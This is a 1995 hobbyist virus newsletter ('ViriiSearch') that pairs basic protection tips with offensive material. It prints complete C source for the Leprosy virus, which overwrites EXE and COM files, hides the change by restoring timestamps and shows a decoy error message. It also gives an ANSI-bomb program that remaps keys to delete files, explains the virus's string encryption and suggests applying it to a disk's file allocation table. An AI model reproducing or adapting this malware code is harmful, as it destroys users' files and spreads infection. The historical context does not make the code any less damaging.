Hacker 2/HACKER2.mdf/virus/cmvs#1.v1

Text File | 1995-01-03 | 37KB | 889 lines

DISCLAIMER:
The author will NOT accept responsibility for any damage to your
computer media and/or files, or responsibility for any action you might
take that will result in legal proceedings, the source code, if any, in
this newsletter is THE REAL THING, and you, after you read this, will be
well aware of what virii are capable of, and knowing that, it is expected
that you will act responsibly.

DISCLAIMER II:
All I know about programming I have learned on my own, and did not go to
school for, and am still learning. As a result, I am sometimes prone to
make mistakes, and be wrong about things, so please be patient if I should
make a mistake, or say something that isn't true, which would be totally
unintentional.


                ViriiSearch
                -----------

            The Virus Research Newsletter

                 Volume 1, Number 1

CREDITS:
-----------------------------------------------------------------------------
Author...................................................Criminal Minded <tm>
Editor...................................................Criminal Minded <tm>
Ideas, Source, Examples Supplied By......................Criminal Minded <tm>
Facts Stolen From Several Sources By.....................Criminal Minded <tm>
-----------------------------------------------------------------------------

Introduction:

Welcome To The First Issue Of Viriisearch, The Virus Research Newsletter.

I have always had a fascination of computer virii, since I first heard the
word. I, like a lot of people, had no idea what they were about, and was
extremely curious. And this newsletter will cover my process as I find out
more about them. How they are written, why they act like they do, and if
possible, why people would write them.

In this issue:

Prevention And Protection Methods
The "Internet Worm"
Trojans, Worms, Virii, Ansi Bombs: What's the difference?
Benign VS Malignant Virii
Sample Source Code Of Virii
Discussion Of The Infection And Encryption Methods Used By "Leprosy"
The "Uncompress" Virus
"Suicidal Tendencies" Department/Virus Of The Month
Discussion Of Anti Viral Software
Things You Should Know

-----------------------------------------------------------------------------
Prevention And Protection Methods:
-----------------------------------------------------------------------------

After the infamous "Michelangelo" panic, I realized what the masses are
lacking is virus literacy. If people had a understanding of them, and knew
the appropriate methods of prevention, and dealing with a infection, the
situation would've never been blown out of proportion like it was. When I
hear people ask questions such as "If I Put My Toothbrush Near A Infected
Disk, Will I Catch The Virus When I Brush My Teeth?" I have to laugh...Ok,
maybe that example is a little exaggerated, but some of the questions are
hitting close to that level of stupidity, so here are some protection and
prevention methods:

1. If you download a file from a public BBS, or a friend gives you a file
   that he downloaded from somewhere, be sure and uncompress the file onto
   a floppy and run your virus scanner on it. NEVER run a new file without
   checking it first. Some people believe a virus scanner can spot a file
   that is infected within a compressed file by running the virus scanner
   on it, this is NOT true. You have to decompress the file first.

   By doing this, you are dropping your chances of infection considerably
   BUT there is always the chance of a unknown virus that the scanner won't
   spot so that is why you have to ALWAYS have a backup of all your data on
   tape or disk. That way if the unknown virus wipes your hard drive, you
   have the backup and nothing is lost.

2. In the event of a virus infection, shut your computer off immediately and
   wait 10-20 seconds. NEVER do a "warm boot" (CTRL-ALT-DEL) because some
   virii can survive through a warm boot. Always do a "cold boot" (Shut the
   computer OFF). After the 10-20 seconds, boot your computer from a CLEAN
   WRITE PROTECTED DOS Bootable disk, and then run your virus scanner from
   a WRITE PROTECTED disk. (The reason for having the disks write protected
   is just in case the virus is still lurking around, it won't be able to
   write itself and infect the floppies). If the virus is a known one, have
   the virus scanner either fix the infected files, or delete them (and
   replace from your backup) or make a note of the infected files and erase
   them manually.

3. How do you spot a attack by a unknown virus?

   A) Change in sizes of files
   B) Change of file dates/times
   C) Deleted files
   D) Slower processing time
   E) Unusual messages
   F) Disk activity, more than usual (Writing to the disk when it's not
      neccesary)

4. What to do in the event of a unknown virus attack?

    A) Follow steps of shutting machine off and re-booting as outlined in
       #2
    B) Run your virus scanner and have it look for files that changed in
       size or date (if your scanner has a feature that makes note of
       original virus sizes/dates/times)
    C) If your virus scanner doesn't make note of original sizes/dates/times
       you can always make note of them manually and then check them yourself.
       It's time consuming, but can prevent serious damage to your data, and
       you should try to isolate a infected file and send it to ME (info on
       how to get it to me at the end of the newsletter) so I can attempt to
       dissect it and notify the appropriate person of the new virus.
    D) Some virus scanners come with a TSR that will prevent any writing to
       disk, it will pop a window or message on the screen saying: Attempting
       to write to <filename> Do you wish to do so? If something is trying to
       write to a file that shouldn't be written to at that time, chances are
       you are dealing with a unknown virus and should say no. Then try to
       find and isolate the virus.
    E) How do you spot a unknown virus or a known virus without running
       a virus scanner?

       1) Most virii are tiny (2 kilobytes to 10 kilobytes) and the majority
      of them are .COM files so if you have, let's say, a 6K .COM file
      that claims to be a "awesome game" I'd be a little bit suspicious.
       2) Weird names. I would not run "DIE.COM" or "KILLER.COM" and over
      the years I have run into files named that, when people tried to
      infect my computer. At least they could've named it something else
      not so obvious.
       3) As stated in #1, the MAJORITY of them are small .COM files but they
      can be .EXE files as well, and bigger then 10K.

All it takes is a little bit of common sense, and 99% of what could've been
virus attacks on your computer can be prevented. All you have to remember is
that they cannot infect your machine unless run first...BUT there is one
virus out there that, when uncompressed, activates itself. This virus does
NOT have to be executed in order to infect your machine, and it will be
discussed later on. In the event of where this "uncompress" virus wipes some
of your data, or any other virus, that's what backups are for. ALWAYS HAVE A
BACKUP OF YOUR HARD DRIVE and NEVER put a floppy in the drive and run a
program when there is a virus in memory because, chances are, that floppy
will get ruined/infected as well, unless it is write protected. The instant
you are aware of a infection, shut the machine off! Because there are some
virii that, upon finding a write protected floppy that it cannot infect, or
something else it can't do, "get mad" and cause destruction.

-----------------------------------------------------------------------------
The "Internet Worm"
-----------------------------------------------------------------------------

This has to be the most widely publicized case of a virus attack ever.

On 10/02/88, Robert Morris Jr., a graduate student, wrote and released a worm
that infected "Internet" the worldwide network. Within hours, it infected
thousands of computers. The worm was benign, not causing any damage to files
or media, but replicated itself over and over rapidly, and resulted in the
computers on Internet having to be shut down and all copies of the worm
removed. Some of the hosts were still disconnected from the network eight
days later, showing the impact this worm had. Morris claimed he did it as a
experiment, and made a mistake in how fast it actually would replicate. The
media, namely NY Times, USA Today, and The Wall Street Journal, gave the worm
front page coverage. On November 4th, teams at several institutions went to
work and successfully "decompiled" the worm and studied it in the language it
was written in, "C language", but the source code was never released for fear
of hackers using the source for malicious purposes. In the end, Morris was
removed from school, ordered to pay $10,000 in fines, perform 400 hours of
community services and was on 3 years probation. Some people argued as to
whether or not Morris was guilty because he evidently didn't do it to cause
damage, but rather as a experiment that went wrong.

What the worm did: It hacked it's way into hosts attached to the internet by
cracking passwords and then replicated itself rapidly, taking up all the
memory and forcing the hosts to be shut down.

-----------------------------------------------------------------------------

Trojans, Worms, Virii, Ansi Bombs: What's the difference?

-----------------------------------------------------------------------------

Trojans: Programs disguised as a useful program or a existing real program
     that can cause damage on your system.

Worms: Benign virii, rarely causing damage to media or files, such as the
       Internet worm.

Ansi Bombs: Tiny programs that use ANSI to remap your keyboard causing keys,
        when pressed, to do other things.

Example: If a ansi bomb was in memory, and it remapped the "K" key to erase
     all the files in the current directory, as soon as you pressed K
     the files would be gone. Usually when you type C>ERASE *.*
     MS-DOS will respond with: All the files in the current directory
     will be deleted! Are you sure (y/n)?

     Some ansi bombs are intelligent and can prevent such DOS messages
     from appearing.

-----------------------------------------------------------------------------

Here is the source code to a simple ansi bomb:

-----------------------------------------------------------------------------

#include <stdio.h>
#define KILL(K, S) printf("\033[0;%d;\"%s\";13p", K, S)
#define F1 59
#define F2 60
#define F3 61
#define F4 62
main()
{
  KILL(F1, "DEL *.ZIP");
  KILL(F2, "DEL *.ARJ");
  KILL(F3, "DEL *.COM");
  KILL(F4, "DEL *.EXE");
}

-----------------------------------------------------------------------------

This just assigns the string (DEL *.ZIP etc) to the respective keys. If this
ansi bomb was in memory, and you pressed F1, it would delete all the files
in the current directory with the extension of .ZIP. The command (DEL *.ZIP)
would appear on the screen though, and you could use a file recovery program
to recover the deleted files. There are more lethal ansi bombs, ones that can
format your hard drive and other such destructive acts.

Prevention: Use NANSI or ZANSI rather than ANSI and the ansi bombs won't work.

-----------------------------------------------------------------------------

Virii: Destructive programs that use 'stealth' techniques, and can replicate.
       Not All virii are destructive, some can be benign, and just pop up
       annoying messages time to time or slow down system speed.

-----------------------------------------------------------------------------

No more will be discussed of ANSI Bombs or Trojans as this newsletter is
dedicated entirely to virii.

-----------------------------------------------------------------------------

Benign VS Malignant Virii:

-----------------------------------------------------------------------------

Benign Virii do not cause damage but do things such as take up all the memory,
slow processing speed down, and send annoying messages to the console, or the
printer, etc...

Maligant, or Malicious, Virii cause actual destruction, deleting files,
destroying the FAT or boot sector, locking up the computer, formatting disks
or hard drives, etc...

-----------------------------------------------------------------------------

Virus Source Code:

-----------------------------------------------------------------------------

Now for the real thing, we will start with the C Language source code to the
"Leprosy" Virus.

-----------------------------------------------------------------------------

#pragma inline

#define   CRLF       "\x17\x14"          /*  CR/LF combo encrypted.  */
#define   NO_MATCH   0x12                /*  No match in wildcard search.  */

char fake_msg[] = CRLF "Z|yq|kw*~yy*lsq*~y*ps~*sx*wowy|\x83.";
char *virus_msg[3] =
  {
    CRLF "\x13XOa]*PVK]R++**cy\x7f|*}\x83}~ow*rk}*loox*sxpom~on*\x81s~r*~ro.",
    CRLF "\x13sxm\x7f|klvo*nomk\x83*yp*VOZ\\Y]c*;8::6*k*\x80s|\x7f}*sx\x80ox~on*l\x83.",
    CRLF "\x13ZMW<*sx*T\x7fxo*yp*;CC:8**Qyyn*v\x7fmu+\x17\x14."
  };



struct _dta                     /*  Disk Transfer Area format for find.  */
  {
    char findnext[21];
    char attribute;
    int timestamp;
    int datestamp;
    long filesize;
    char filename[13];
  } *dta = (struct _dta *) 0x80;   /*  Set it to default DTA.  */


const char filler[] = "XX";             /*  Pad file length to 666 bytes.  */
const char *codestart = (char *) 0x100;  /*  Memory where virus code begins.  */
const int virus_size = 666;      /*  The size in bytes of the virus code.  */
const int infection_rate = 4;     /*  How many files to infect per run.  */

char compare_buf[20];           /*  Load program here to test infection.  */
int handle;                     /*  The current file handle being used.  */
int datestamp, timestamp;       /*  Store original date and time here.  */
char diseased_count = 0;        /*  How many infected files found so far.  */
char success = 0;               /*  How many infected this run.  */


/*  The following are function prototypes, in keeping with ANSI    */
/*  Standard C, for the support functions of this program.         */

int find_first( char *fn );
int find_healthy( void );
int find_next( void );
int healthy( void );
void infect( void );
void close_handle( void );
void open_handle( char *fn );
void print_s( char *s );
void restore_timestamp( void );



/*----------------------------------*/
/*     M A I N    P R O G R A M     */
/*----------------------------------*/

int main( void )  {
  int x = 0;
  do {
    if ( find_healthy() )  {           /*  Is there an un-infected file?  */
      infect();                        /*  Well, then infect it!  */
      x++;                             /*  Add one to the counter.  */
      success++;                       /*  Carve a notch in our belt.  */
    }
    else  {                            /*  If there ain't a file here... */
      _DX = (int) "..";                /*  See if we can step back to  */
      _AH = 0x3b;                      /*  the parent directory, and try  */
      asm   int 21H;                   /*  there.  */
      x++;                             /*  Increment the counter anyway, to  */
    }                                  /*  avoid infinite loops.  */
  } while( x < infection_rate );       /*  Do this until we've had enough.  */
  if ( success )                       /*  If we got something this time,  */
    print_s( fake_msg );               /*  feed 'em the phony error line.  */
  else
    if ( diseased_count > 6 )          /*  If we found 6+ infected files  */
      for( x = 0; x < 3; x++ )         /*  along the way, laugh!!  */
    print_s( virus_msg[x] );
    else
      print_s( fake_msg );             /*  Otherwise, keep a low profile.  */
  return;
}


void infect( void )  {
  _DX = (int) dta->filename;  /*  DX register points to filename.  */
  _CX = 0x00;                 /*  No attribute flags are set.  */
  _AL = 0x01;                 /*  Use Set Attribute sub-function.  */
  _AH = 0x43;                 /*  Assure access to write file.  */
  asm   int 21H;              /*  Call DOS interrupt.  */
  open_handle( dta->filename );        /*  Re-open the healthy file.  */
  _BX = handle;                       /*  BX register holds handle.  */
  _CX = virus_size;                   /*  Number of bytes to write.  */
  _DX = (int) codestart;              /*  Write program code.  */
  _AH = 0x40;                         /*  Set up and call DOS.  */
  asm   int 21H;
  restore_timestamp();               /*  Keep original date & time.  */
  close_handle();                     /*  Close file.  */
  return;
}


int find_healthy( void )  {
  if ( find_first("*.EXE") != NO_MATCH )       /*  Find EXE?  */
    if ( healthy() )                         /*  If it's healthy, OK!  */
      return 1;
    else
      while ( find_next() != NO_MATCH )      /*  Try a few more otherwise. */
    if ( healthy() )
      return 1;                          /*  If you find one, great!  */
  if ( find_first("*.COM") != NO_MATCH )       /*  Find COM?  */
    if ( healthy() )                         /*  If it's healthy, OK!  */
      return 1;
    else
      while ( find_next() != NO_MATCH )      /*  Try a few more otherwise. */
    if ( healthy() )
      return 1;                          /*  If you find one, great!  */
  return 0;                                  /*  Otherwise, say so.  */
}



int healthy( void )  {
  int i;
  datestamp = dta->datestamp;        /*  Save time & date for later.  */
  timestamp = dta->timestamp;
  open_handle( dta->filename );      /*  Open last file located.  */
  _BX = handle;                      /*  BX holds current file handle.  */
  _CX = 20;                          /*  We only want a few bytes.  */
  _DX = (int) compare_buf;          /*  DX points to the scratch buffer.  */
  _AH = 0x3f;                       /*  Read in file for comparison.  */
  asm   int 21H;
  restore_timestamp();              /*  Keep original date & time.  */
  close_handle();                   /*  Close the file.  */
  for ( i = 0; i < 20; i++ )        /*  Compare to virus code.  */
    if ( compare_buf[i] != *(codestart+i) )
      return 1;                     /*  If no match, return healthy.  */
  diseased_count++;                 /*  Chalk up one more fucked file.  */
  return 0;                         /*  Otherwise, return infected.  */
}


void restore_timestamp( void )  {
  _AL = 0x01;                         /*  Keep original date & time.  */
  _BX = handle;                       /*  Same file handle.  */
  _CX = timestamp;                    /*  Get time & date from DTA.  */
  _DX = datestamp;
  _AH = 0x57;                         /*  Do DOS service.  */
  asm   int 21H;
  return;
}


void print_s( char *s )  {
  char *p = s;
  while ( *p )  {              /*  Subtract 10 from every character.  */
    *p -= 10;
    p++;
  }
  _DX = (int) s;              /*  Set DX to point to adjusted string.   */
  _AH = 0x09;                 /*  Set DOS function number.  */
  asm   int 21H;              /*  Call DOS interrupt.  */
  return;
}


int find_first( char *fn )  {
  _DX = (int) fn;             /*  Point DX to the file name.  */
  _CX = 0xff;                 /*  Search for all attributes.  */
  _AH = 0x4e;                 /*  'Find first' DOS service.  */
  asm   int 21H;              /*  Go, DOS, go.  */
  return _AX;                 /*  Return possible error code.  */
}


int find_next( void )  {
  _AH = 0x4f;                 /*  'Find next' function.  */
  asm   int 21H;              /*  Call DOS.  */
  return _AX;                 /*  Return any error code.  */
}


void open_handle( char *fn )  {
  _DX = (int) fn;             /*  Point DX to the filename.  */
  _AL = 0x02;                 /*  Always open for both read & write. */
  _AH = 0x3d;                 /*  "Open handle" service.  */
  asm   int 21H;              /*  Call DOS.  */
  handle = _AX;               /*  Assume handle returned OK.  */
  return;
}


void close_handle( void )  {
  _BX = handle;               /*  Load BX register w/current file handle.  */
  _AH = 0x3e;                 /*  Set up and call DOS service.  */
  asm   int 21H;
  return;
}

-----------------------------------------------------------------------------

With source code discussed in this newsletter, main areas covered will be on
encryption techniques, how the virus infects files, how they 'replicate'
and 'breed' and how 'stealth techniques' are implemented in the code.

In this case we will cover how the virus infects the files and encrypts.

-----------------------------------------------------------------------------

Infection Method:

-----------------------------------------------------------------------------
void infect( void )  {
  _DX = (int) dta->filename;  /*  DX register points to filename.  */
  _CX = 0x00;                 /*  No attribute flags are set.  */
  _AL = 0x01;                 /*  Use Set Attribute sub-function.  */
  _AH = 0x43;                 /*  Assure access to write file.  */
  asm   int 21H;              /*  Call DOS interrupt.  */
  open_handle( dta->filename );        /*  Re-open the healthy file.  */
  _BX = handle;                       /*  BX register holds handle.  */
  _CX = virus_size;                   /*  Number of bytes to write.  */
  _DX = (int) codestart;              /*  Write program code.  */
  _AH = 0x40;                         /*  Set up and call DOS.  */
  asm   int 21H;
  restore_timestamp();               /*  Keep original date & time.  */
  close_handle();                     /*  Close file.  */
  return;
}

-----------------------------------------------------------------------------
void infect( void ) is just what he named this function.

The function will return nothing, and be called with no parameters as the two
"voids" suggest.

Register DX points to the filename as declared in the structure "_dta"

-----------------------------------------------------------------------------

_dta structure:

-----------------------------------------------------------------------------

struct _dta
  {
    char findnext[21];
    char attribute;
    int timestamp;
    int datestamp;
    long filesize;
    char filename[13];
  } *dta = (struct _dta *) 0x80;

-----------------------------------------------------------------------------

Next in the "infect" function, 0x00 is assigned to the CX register.

With function 43H in assembly, register CX is assigned with the bit of the
attribute that you want to set the file to.

Bit:           Attribute:

 0             Read Only
 1             Hidden
 2             System
 3-4           Reserved
 5             Archive
 6-15          Reserved

Because the author assigned 0x00 to CX, none of the above attributes were set
on the file, allowing it to be written to.

Next in the "infect" function is 0x01 being assigned to register AL

0x01 is telling the program we want to SET attributes.

Then following that is: 0x43 being assigned to AH

Which is telling the program we want to use function 43H (Get/Set Attributes)

The current handle is assigned to register BX

The size of the virus code, or the number of bytes to write, stored in the
integer "virus_size" is assigned to register CX

virus_size is declared and initialized at the beginning of the source code
as a integer with the value "666"

Then the virus code is written to the file, the file is closed and the
original date and time the file had are restored.

-----------------------------------------------------------------------------

The Method Of Encryption:

-----------------------------------------------------------------------------
void print_s( char *s )  {
  char *p = s;
  while ( *p )  {              /*  Subtract 10 from every character.  */
    *p -= 10;
    p++;
  }
  _DX = (int) s;              /*  Set DX to point to adjusted string.   */
  _AH = 0x09;                 /*  Set DOS function number.  */
  asm   int 21H;              /*  Call DOS interrupt.  */
  return;
}
-----------------------------------------------------------------------------

The above function used in "Leprosy", called "print_s" accepts one parameter,
a string of text, like these ones defined at the beginning of the Leprosy
source code:

-----------------------------------------------------------------------------
char *virus_msg[3] =
  {
    CRLF "\x13XOa]*PVK]R++**cy\x7f|*}\x83}~ow*rk}*loox*sxpom~on*\x81s~r*~ro.",
    CRLF "\x13sxm\x7f|klvo*nomk\x83*yp*VOZ\\Y]c*;8::6*k*\x80s|\x7f}*sx\x80ox~on*l\x83.",
    CRLF "\x13ZMW<*sx*T\x7fxo*yp*;CC:8**Qyyn*v\x7fmu+\x17\x14."
  };

-----------------------------------------------------------------------------
Note: CRLF is defined as "\x17\x14" at the beginning of the source, \x17
being the hexadecimal code for a carriage return and \x14 the code for a line
feed.
-----------------------------------------------------------------------------

When a string is passed to the "print_s" function, it is un-encrypted.

print_s(virus_msg[0]);
print_s(virus_msg[1]);
print_s(virus_msg[2]);

would result in the following being printed to the screen:
------------------------------------------------------------

    NEWS FLASH!!  Your system has been infected with the

    incurable decay of LEPROSY 1.00, a virus invented by

    PCM2 in June of 1990.  Good luck!

-----------------------------------------------------------

The compiler I currently use does not accept inline assembly
code as the author of leprosy had in his source so I modified
the "print_s" function so I could compile it:

For those interested, I use Microsoft Quick C (C) Microsoft

-----------------------------------------------------------

/* NOTE: I removed the . from the end of each message because that is */
/* A $ when un-encrypted, and the $ to terminate the string is only   */
/* required for the assembly version of the "print_s" function        */

/* Also: The hexadecimal constants in the strings are as follows: */

/* \x13 = TAB, \x7f = u, \x83 = y, \x81 = w, \x80 = v */


#include <stdio.h>
#define CRLF "\x17\x14"
char *virus_msg[3] =
{
CRLF "\x13XOa]*PVK]R++**cy\x7f|*}\x83}~ow*rk}*loox*sxpom~on*\x81s~r*~ro",
CRLF "\x13sxm\x7f|klvo*nomk\x83*yp*VOZ\\Y]c*;8::6*k*\x80s|\x7f}*sx\x80ox~on*l\x83",
CRLF "\x13ZMW<*sx*T\x7fxo*yp*;CC:8**Qyyn*v\x7fmu+\x17\x14"
};

void print_s (char *s);
int main     (void);

main()
{
print_s(virus_msg[0]);
print_s(virus_msg[1]);
print_s(virus_msg[2]);
}

void print_s (char *s) {
  char *p = s;
  while ( *p )  {
    *p -= 10;
    p++;
  }
  printf("%s\n",s);
}

-----------------------------------------------------------------------------

*p -= 10; is what does it all. It adds the value of 10 to each character and
can be used either way, to unencrypt or to encrypt.

if you change it to: *p += 10;

it will then encrypt.

You can also change it to:

*p -= rand() % 35000; /* #include <stdio.h> for "rand()" */

and it will change the value it uses to encrypt or un-encrypt everytime it
passes through the "while" loop or you can change it to any value you like.

-----------------------------------------------------------------------------

This method of encryption can be used to encrypt files, file allocation
tables, boot sectors, etc. All you need is a function that reads and writes
either of the three. For instance, read the contents of the File Allocation
Table, and pass the string(s) through the print_s function and then write
the encrypted string(s) back to the File Allocation Table. I don't suggest
doing this to your hard drive, or anyone elses, for it will result in either
you or the other person having to crack the encryption and restore the FAT
manually, or formatting the hard drive and replacing all the files. If you
want to experiment, do it on a floppy, like I did.

-----------------------------------------------------------------------------


The "uncompress" virus

-----------------------------------------------------------------------------

According to the person who uploaded it to the BBS where I got it from, this
virus infects when you uncompress the file.

I did not find any indication of this when I uncompressed the file, called
NJERU.ARJ. It is a Arkanoid II: Revenge Of Doh crack released by FiRM that
is infected with a strain of Jerusalem-4.

I ran it and Norton Anti Virus (C) Symantec reported the virus in memory.
I then proceeded to run EDLIN.EXE (C) Microsoft, SYS.COM (C) Microsoft,
COMMAND.COM (C) Microsoft, and ARJ.EXE (C) Robert K. Jung to see what would
happen. These are the results:

Filename:         Original Size:          Size After Infection:

EDLIN.EXE          14,121 bytes                15,936 bytes
ARJ.EXE            98,968 bytes               100,784 bytes
SYS.COM            13,440 bytes                15,253 bytes

There were no size changes to COMMAND.COM, nor was it infected.

A file was also created by the virus called "NJVR._OO" that was around 26K
but only had one line in it, a error message concerning the media of the disk.
Sorry, the exact size of the file NVJR._OO and the exact message are not
available. When I attempted to remove the apparent text file using the
MS-DOS "DEL" command, it displayed the error message and tried to write to
drive A which was write protected at the time. Then it went back to drive B
and apparently did damage to the media. I formatted the disk and it was fine
afterwards. I have never seen anything like this before, a text file being
able to do damage just by attempting to delete it. I guess it wasn't a text
file after all but I still have no idea how it managed to corrupt the media
on drive B. It also created a file called "N" which was 0 bytes and couldn't
be deleted or read by Norton Anti Virus.

-----------------------------------------------------------------------------

"Suicidal Tendencies" Department.

(Appropriately named department: I can't believe I am deliberately running
a virus on my system)

This section of the newsletter will cover what happened when I run a virus
on a floppy with MSDOS.SYS, IO.SYS, COMMAND.COM, a overlay file, a .EXE file
and a few other assorted files on it.

The virus of the month award goes to: The Perfume Virus

-----------------------------------------------------------------------------

What Happened:

-----------------------------------------------------------------------------

Filename: PERFUME.COM           Filesize: 806 bytes

Ok, I placed this file on drive B with the following files:

Filename:        Original Size:
----------------------------------
COMMAND.COM      47845
MSDOS.SYS        37394
IO.SYS           33430
ANSI.SYS          9029
RAMDRIVE.SYS      5873
CONFIG.SYS          39
UNDELETE.EXE     13924
AUTOEXEC.BAT        69
15ALL05.DEF      67278
MICHEL.DEF         456
NSETUP.OVL         876
PKUNZIP.EXE      23528
----------------------------------

When I ran PERFUME.COM, it displayed the message: This is a tiny COM program.
and it infected COMMAND.COM, enlarging it by 765 bytes to 48,610 bytes.
It then proceeded to remove the hidden/system attribute from MSDOS.SYS but
didn't infect it and then attempted to infect the disk in drive A, which was
write protected at the time. The virus, realizing it couldn't write to drive
A, displayed the message:
               Not ready reading drive A
               Insert disk with \COMMAND.COM in drive A
               Press any key to continue . . .

Now, usually when DOS displays that message, it only needs to READ, and still
could've if the disk was write protected, so evidently the virus was
trying to outsmart me and fool me into thinking that was a DOS message so it
could infect at least one more disk.

I ran Norton Anti Virus v2.0 (C) Symantec, and it reported Perfume in memory
so I re-booted and ran NAV again, this time it didn't report the virus being
in memory, but did identify COMMAND.COM and PERFUME.COM as being infected.

Also:

In my search for the virus of the month, I came across a file called
"ISRAELI.ZIP" which I thought to be a virus called "Israeli" but as it turns
out it was a strain of Jerusalem-4, the same as the supposed "Uncompress
virus" discussed earlier. The file was called: SORTINFT.EXE and was 3760
bytes. When I ran it, it did no damage to the disk or files but NAV did
report Jerusalem-4 in memory so I re-booted. I then ran NAV again and when
the screen came up saying who the copy of NAV was registered to, it said:

Registered To:

Criminal Miτφed <tm>
Viriisearch NeöÉletter, Inc.

Weird eh? And that's not all, I went to scan memory, and the little window
came up that it displays the name of the current virus being scanned for, but
that's it, no names were displayed. The program appeared to freeze up, and
the disk kept spinning with the drive light on. I re-booted once again and
ran NAV again. The weird letters were still there but it scanned memory no
problem this time. I exited it from NAV and went to drive B to delete files
when I noticed a file called: NRVN E._OO that was 4096 bytes long. Since when
does DOS allow spaces in filenames? As a result I couldn't view it or delete
it by typing: C>DEL NRVN E._OO so I typed: C>DEL *._OO and that worked. At
one point a message also came up on the screen: "File Allocation Table Bad,
Drive B". I imagine Jerusalem-4 was responsible for the weird file name and
the bad FAT on drive B. I have no idea why NAV was acting funny, possibly
a genuine disk error and not due to a virus, since the disk was always write
protected.

-----------------------------------------------------------------------------

Well, that's it for "Suicidal Tendencies" for this month!

I don't recommend trying this on any computer with a hard drive. I do not have
a hard drive on the machine I do my experimenting on, so if I am careful and
keep the virus isolated to one disk, I have nothing to worry about.

-----------------------------------------------------------------------------

Anti Viral Software:

-----------------------------------------------------------------------------

Here are some nice virus scanners/anti viral programs to check out:

-----------------------------------------------------------------------------

Scan v89b (C) McAfee - available on most Public Domain BBSes

Clean v89b (C) McAfee - available on most Public Domain BBSes

Norton Anti Virus v2.0 (C) Symantec

Central Point Anti Virus (C) Central Point Software

There are a few others, but I think the above four are the best. I use
Norton Anti Virus and Scan.

-----------------------------------------------------------------------------

Some things you should know:

-----------------------------------------------------------------------------

Most people assume that a hard drive in a newly purchased computer, or a new
program still in the shrinkwrap are always virus free. Well, this is just not
true. The reported cases are few and far in between, but today anything can
happen, and it has. A certain computer company shipped out 500 of their
computers infected with the Michaelangelo virus, which started the whole
panic in the first place. And there have been a few times where someone bought
a brand new program, took it home and started using it, not expecting it to
be infected with a virus. Well, it was. After all, people create virii and
people work at computer companies, and software distributors. So what's
stopping a pissed off employee from infecting a computer or a program? Nothing
at all.

How you take this information is entirely up to you.

If you call a BBS and they say they scan for virii, don't assume that every
single file will be virus free, some can sneak through. There is also the
possibility of a unknown virus that was not detected by the scanner.

Last but not least: ALWAYS BACK UP YOUR DATA!!!

Philosophy Dept:

"Knowledge is power" - Francis Bacon, 16th Century Philosopher

"Even if a computer is locked, sealed in concrete, placed in a lead room and
surrounded by armed guards, I'd still have my doubts."

Those aren't the exact words and I forget who said that, but it is quite
appropriate and all too true.

I hope you enjoyed this issue of "Viriisearch" The newsletter dedicated
entirely to computer virii.


Until Next Time......Be Careful!!!

                   * Criminal Minded <tm> *
-----------------------------------------------------------------------------

Downloaded From P-80 International Information Systems 304-744-2253